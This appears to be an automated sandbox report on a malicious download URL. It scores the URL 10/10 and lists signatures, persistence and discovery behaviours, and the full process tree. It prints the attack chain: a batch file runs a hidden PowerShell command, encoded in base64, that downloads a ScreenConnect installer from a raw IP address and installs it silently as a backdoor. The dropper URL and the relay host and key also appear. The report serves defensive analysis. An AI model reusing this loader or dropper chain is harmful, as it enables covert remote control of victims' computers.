Overview

overview

10

Static

static

1

URLScan

urlscan

1

https://invite.evalu...

windows10-2004-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    70s
  • max time network
    67s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 16:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    https://invite.evaluatedata.ai/windows_download.php
  • Sample260910-ts67hsdg32
Score
10/10
backdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://192.227.217.243:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 7 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 40 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 58 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://invite.evaluatedata.ai/windows_download.php
    1⤵
    • Checks SCSI registry key(s)
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x254,0x7ff8bba5c188,0x7ff8bba5c194,0x7ff8bba5c1a0
      2⤵
        PID:4696
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1992,i,5842780214730645133,1755767675763706587,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:3
        2⤵
        • System Time Discovery
        PID:3496
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,2491360428204942225,8924855744539462301,262144 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=2844 /prefetch:2
        2⤵
          PID:4996
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2272,i,5420443235091351860,13403448436019608790,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:8
          2⤵
            PID:1788
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3468,i,3456867952991035201,13356871376021501004,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
            2⤵
              PID:2168
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,13429141308151944796,7245946967011510022,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
              2⤵
                PID:2204
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4168,i,13037583443113655972,299922286524175751,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
                2⤵
                  PID:3268
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4192,i,2395212638259574486,13508915907178976054,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:2
                  2⤵
                    PID:3780
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5088,i,7496966369309530382,15264521649163610580,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:1
                    2⤵
                      PID:3956
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5036,i,17291495233990796610,12277561001056491255,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
                      2⤵
                        PID:4376
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5112,i,2316225691671706695,3622896990791874973,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:1
                        2⤵
                          PID:3924
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3660,i,7470374307861954052,8484129947439462326,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:8
                          2⤵
                            PID:4060
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,9890246132729796812,7601328553624621384,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:8
                            2⤵
                              PID:5084
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,795694965349323872,13731471895092554260,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:8
                              2⤵
                                PID:3848
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,795694965349323872,13731471895092554260,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:8
                                2⤵
                                  PID:1616
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4184,i,9806375218461703309,9545048174753456258,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:1
                                  2⤵
                                    PID:3704
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,6881973377275481638,10309050224174643645,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:8
                                    2⤵
                                      PID:3676
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5532,i,17169642811397706680,3874132277202619117,2097152 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
                                      2⤵
                                        PID:5028
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6864,i,2629778670169398708,1695765991311093859,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:8
                                        2⤵
                                          PID:3560
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\invitation.bat" "
                                          2⤵
                                          • Executes a command shell one-liner
                                          • Suspicious use of WriteProcessMemory
                                          PID:4808
                                          • C:\Windows\system32\net.exe
                                            net session
                                            3⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:4232
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 session
                                              4⤵
                                                PID:4392
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAKAAoACgAkAHUAcgBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGEASABSADAAYwBEAG8AdgBMAHoARQA1AE0AaQA0AHkATQBqAGMAdQBNAGoARQAzAEwAagBJADAATQB6AG8ANABNAEQAUQB3AEwAMABKAHAAYgBpADkAVABZADMASgBsAFoAVwA1AEQAYgAyADUAdQBaAFcATgAwAEwAawBOAHMAYQBXAFYAdQBkAEYATgBsAGQASABWAHcATABtADEAegBhAFQAOQBsAFAAVQBGAGoAWQAyAFYAegBjAHkAWgA1AFAAVQBkADEAWgBYAE4AMAAiACkAKQAKACQAbQBzAGkAIAA9ACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHAAYQBjAGsAYQBnAGUALgBtAHMAaQAiAAoACgBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAG0AcwBpACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAAoACgAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAiAG0AcwBpAGUAeABlAGMALgBlAHgAZQAiACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAEAAKAAKACIALwBpACIALAAgACQAbQBzAGkALAAKACIALwBxAG4AIgAsAAoAIgBBAFIAUABTAFkAUwBUAEUATQBDAE8ATQBQAE8ATgBFAE4AVAA9ADEAIgAsAAoAIgAvAG4AbwByAGUAcwB0AGEAcgB0ACIACgApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAKAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAbQBzAGkAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAAoACgA=
                                              3⤵
                                              • Badlisted process makes network request
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of WriteProcessMemory
                                              PID:3028
                                              • C:\Windows\system32\msiexec.exe
                                                "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\package.msi /qn ARPSYSTEMCOMPONENT=1 /norestart
                                                4⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:6072
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\invitation.bat" "
                                            2⤵
                                            • Executes a command shell one-liner
                                            • Suspicious use of WriteProcessMemory
                                            PID:4092
                                            • C:\Windows\system32\net.exe
                                              net session
                                              3⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:3280
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 session
                                                4⤵
                                                  PID:724
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAKAAoACgAkAHUAcgBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGEASABSADAAYwBEAG8AdgBMAHoARQA1AE0AaQA0AHkATQBqAGMAdQBNAGoARQAzAEwAagBJADAATQB6AG8ANABNAEQAUQB3AEwAMABKAHAAYgBpADkAVABZADMASgBsAFoAVwA1AEQAYgAyADUAdQBaAFcATgAwAEwAawBOAHMAYQBXAFYAdQBkAEYATgBsAGQASABWAHcATABtADEAegBhAFQAOQBsAFAAVQBGAGoAWQAyAFYAegBjAHkAWgA1AFAAVQBkADEAWgBYAE4AMAAiACkAKQAKACQAbQBzAGkAIAA9ACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHAAYQBjAGsAYQBnAGUALgBtAHMAaQAiAAoACgBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAG0AcwBpACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAAoACgAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAiAG0AcwBpAGUAeABlAGMALgBlAHgAZQAiACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAEAAKAAKACIALwBpACIALAAgACQAbQBzAGkALAAKACIALwBxAG4AIgAsAAoAIgBBAFIAUABTAFkAUwBUAEUATQBDAE8ATQBQAE8ATgBFAE4AVAA9ADEAIgAsAAoAIgAvAG4AbwByAGUAcwB0AGEAcgB0ACIACgApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAKAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAbQBzAGkAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAAoACgA=
                                                3⤵
                                                • Badlisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of WriteProcessMemory
                                                PID:3560
                                                • C:\Windows\system32\msiexec.exe
                                                  "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\package.msi /qn ARPSYSTEMCOMPONENT=1 /norestart
                                                  4⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:728
                                              • C:\Windows\system32\cmd.exe
                                                cmd /c "timeout /t 3 >nul & del /f /q "C:\Users\Admin\Downloads\invitation.bat""
                                                3⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:5272
                                                • C:\Windows\system32\timeout.exe
                                                  timeout /t 3
                                                  4⤵
                                                  • Delays execution with timeout.exe
                                                  PID:5288
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6912,i,16643501941731022766,13867203722206473023,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
                                              2⤵
                                                PID:5384
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7128,i,7778750223447255249,9107168490334233378,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:8
                                                2⤵
                                                  PID:5392
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7120,i,11474827394139304709,13206603455923139524,524288 --field-trial-handle=2748,i,16261445053310304373,67557364334108464,262144 --variations-seed-version --mojo-platform-channel-handle=7148 /prefetch:8
                                                  2⤵
                                                    PID:5400
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                  1⤵
                                                    PID:1300
                                                  • C:\Windows\system32\msiexec.exe
                                                    C:\Windows\system32\msiexec.exe /V
                                                    1⤵
                                                    • Enumerates connected drives
                                                    • Boot or Logon Autostart Execution: Authentication Package
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Modifies registry class
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:4392
                                                    • C:\Windows\syswow64\MsiExec.exe
                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 8E649A731B0B042EC1B93CD31A599D44
                                                      2⤵
                                                      • Loads dropped DLL
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:6140
                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                        rundll32.exe "C:\Windows\Installer\MSIE1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240714171 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                        3⤵
                                                        • Loads dropped DLL
                                                        • Drops file in Windows directory
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5176
                                                    • C:\Windows\syswow64\MsiExec.exe
                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 23A02467CD06FBE5AC78759BB2D8C8C2 E Global\MSI0000
                                                      2⤵
                                                      • Loads dropped DLL
                                                      • Drops file in Windows directory
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1156
                                                  • C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.ClientService.exe
                                                    "C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=192.227.217.243&p=8041&s=d41a8954-26df-4c70-96d8-ab21b92855f3&k=BgIAAACkAABSU0ExAAgAAAEAAQAZxkHtLYVDuuxjILQPJf5x7034w694WabbknRBnl77g7tOnhiMmVsliDak%2bCLW%2fmIj3q5nmOe0oCt0hL56aT1Pi9evP5FgZGBdrXTTKUj9pBbBl16Xg5tXpdX1FFMysIchxyp7t4eSHMObCpERjRWUOF3eCbV%2bPFxkxgBvu1MmTKzj2qArn4IGHOyWiOV9PJM%2bX242FBQiLszA0mllZf%2fuUeA7o91yKiWR%2ftmTUaB5zr8m8Kq%2fuVHHPgDCQtOIRyqJu8XUjNgJE8gE5lxD2S3KNg%2fzmEHlQL6PFmw73PCZSbmqNHdZWTLbQlPILLPc84CEhyizRTNJCR6s9EecfzLI"
                                                    1⤵
                                                    • Sets service image path in registry
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Drops file in System32 directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:5480
                                                    • C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.WindowsClient.exe
                                                      "C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.WindowsClient.exe" "RunRole" "a5b7cd35-6848-449e-a983-6bedd0073208" "User"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:5592
                                                    • C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.WindowsClient.exe
                                                      "C:\Program Files (x86)\ScreenConnect Client (7e9578917de7cd60)\ScreenConnect.WindowsClient.exe" "RunRole" "45909988-8993-4670-b698-d2ddfe2e716c" "System"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Drops file in System32 directory
                                                      • Checks processor information in registry
                                                      • Modifies data under HKEY_USERS
                                                      PID:5756
                                                  • C:\Windows\system32\taskmgr.exe
                                                    "C:\Windows\system32\taskmgr.exe"
                                                    1⤵
                                                    • Checks SCSI registry key(s)
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
